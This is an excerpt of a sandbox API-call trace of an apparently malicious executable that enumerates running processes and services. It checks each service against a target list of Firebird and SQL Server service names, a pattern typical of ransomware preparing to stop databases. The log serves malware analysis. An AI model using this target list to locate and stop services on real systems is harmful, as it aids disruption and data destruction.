	[0179.347] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.347] lstrlenW (lpString="svchost.exe") returned 11
	[0179.347] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0179.348] lstrlenW (lpString="dwm.exe") returned 7
	[0179.348] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.348] lstrlenW (lpString="svchost.exe") returned 11
	[0179.348] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.349] lstrlenW (lpString="svchost.exe") returned 11
	[0179.349] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.349] lstrlenW (lpString="svchost.exe") returned 11
	[0179.349] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.350] lstrlenW (lpString="svchost.exe") returned 11
	[0179.350] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.350] lstrlenW (lpString="svchost.exe") returned 11
	[0179.350] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.351] lstrlenW (lpString="svchost.exe") returned 11
	[0179.351] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.351] lstrlenW (lpString="svchost.exe") returned 11
	[0179.351] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.352] lstrlenW (lpString="svchost.exe") returned 11
	[0179.352] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.352] lstrlenW (lpString="svchost.exe") returned 11
	[0179.352] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.353] lstrlenW (lpString="svchost.exe") returned 11
	[0179.353] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0179.354] lstrlenW (lpString="spoolsv.exe") returned 11
	[0179.354] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.354] lstrlenW (lpString="svchost.exe") returned 11
	[0179.354] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0179.355] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0179.355] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0179.355] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0179.355] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0179.356] lstrlenW (lpString="audiodg.exe") returned 11
	[0179.356] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0179.356] lstrlenW (lpString="Memory Compression") returned 18
	[0179.356] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0179.357] lstrlenW (lpString="taskhostw.exe") returned 13
	[0179.357] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0179.357] lstrlenW (lpString="sihost.exe") returned 10
	[0179.357] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.358] lstrlenW (lpString="svchost.exe") returned 11
	[0179.358] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0179.359] lstrlenW (lpString="taskhostw.exe") returned 13
	[0179.359] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0179.359] lstrlenW (lpString="explorer.exe") returned 12
	[0179.359] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0179.360] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0179.360] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0179.360] lstrlenW (lpString="SearchUI.exe") returned 12
	[0179.361] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0179.361] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0179.362] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0179.362] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0179.362] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0179.363] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0179.363] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0179.363] lstrlenW (lpString="cmd.exe") returned 7
	[0179.363] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0179.364] lstrlenW (lpString="conhost.exe") returned 11
	[0179.364] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0179.477] lstrlenW (lpString="consent.exe") returned 11
	[0179.477] Process32NextW (in: hSnapshot=0x344, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0
	[0179.477] CloseHandle (hObject=0x344) returned 1
	[0179.478] Sleep (dwMilliseconds=0x1f4) 
	[0180.067] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3929db8
	[0180.067] EnumServicesStatusExW (in: hSCManager=0x3929db8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0180.068] GetLastError () returned 0xea
	[0180.068] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c30) returned 0x40b0028
	[0180.069] EnumServicesStatusExW (in: hSCManager=0x3929db8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40b0028, cbBufSize=0x1c30, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40b0028, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0180.070] CloseServiceHandle (hSCObject=0x3929db8) returned 1
	[0180.070] lstrlenW (lpString="Appinfo") returned 7
	[0180.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0180.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0180.070] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0180.070] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0180.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0180.070] lstrlenW (lpString="AppXSvc") returned 7
	[0180.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0180.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0180.070] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0180.070] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0180.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0180.070] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0180.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0180.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0180.070] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0180.070] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0180.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0180.071] lstrlenW (lpString="Audiosrv") returned 8
	[0180.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0180.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0180.071] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0180.071] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0180.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0180.071] lstrlenW (lpString="BFE") returned 3
	[0180.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0180.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0180.071] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0180.071] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0180.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0180.071] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0180.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0180.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0180.071] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0180.071] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0180.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0180.071] lstrlenW (lpString="CDPSvc") returned 6
	[0180.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0180.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0180.071] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0180.071] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0180.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0180.071] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0180.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0180.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0180.072] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0180.072] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0180.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0180.072] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0180.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0180.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0180.072] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0180.072] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0180.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0180.072] lstrlenW (lpString="CryptSvc") returned 8
	[0180.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0180.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0180.072] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0180.072] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0180.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0180.072] lstrlenW (lpString="DcomLaunch") returned 10
	[0180.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0180.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0180.072] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0180.072] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0180.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0180.072] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0180.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0180.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0180.072] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0180.072] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0180.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0180.073] lstrlenW (lpString="Dhcp") returned 4
	[0180.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0180.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0180.073] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0180.073] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0180.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0180.073] lstrlenW (lpString="Dnscache") returned 8
	[0180.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0180.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0180.073] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0180.073] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0180.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0180.073] lstrlenW (lpString="DPS") returned 3
	[0180.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0180.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0180.073] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0180.073] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0180.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0180.073] lstrlenW (lpString="DusmSvc") returned 7
	[0180.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0180.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0180.073] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0180.073] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0180.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0180.074] lstrlenW (lpString="EventLog") returned 8
	[0180.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0180.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0180.074] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0180.074] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0180.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0180.074] lstrlenW (lpString="EventSystem") returned 11
	[0180.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0180.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0180.074] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0180.074] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0180.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0180.074] lstrlenW (lpString="FontCache") returned 9
	[0180.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0180.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0180.074] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0180.074] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0180.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0180.074] lstrlenW (lpString="gpsvc") returned 5
	[0180.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0180.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0180.074] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0180.118] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0180.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0180.118] lstrlenW (lpString="iphlpsvc") returned 8
	[0180.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0180.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0180.118] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0180.118] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0180.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0180.118] lstrlenW (lpString="KeyIso") returned 6
	[0180.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0180.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0180.118] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0180.118] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0180.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0180.118] lstrlenW (lpString="LanmanServer") returned 12
	[0180.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0180.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0180.119] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0180.119] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0180.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0180.119] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0180.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0180.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0180.119] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0180.119] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0180.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0180.119] lstrlenW (lpString="lfsvc") returned 5
	[0180.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0180.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0180.119] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0180.119] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0180.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0180.119] lstrlenW (lpString="lmhosts") returned 7
	[0180.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0180.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0180.119] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0180.119] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0180.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0180.119] lstrlenW (lpString="LSM") returned 3
	[0180.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0180.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0180.209] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0180.209] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0180.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0180.209] lstrlenW (lpString="MpsSvc") returned 6
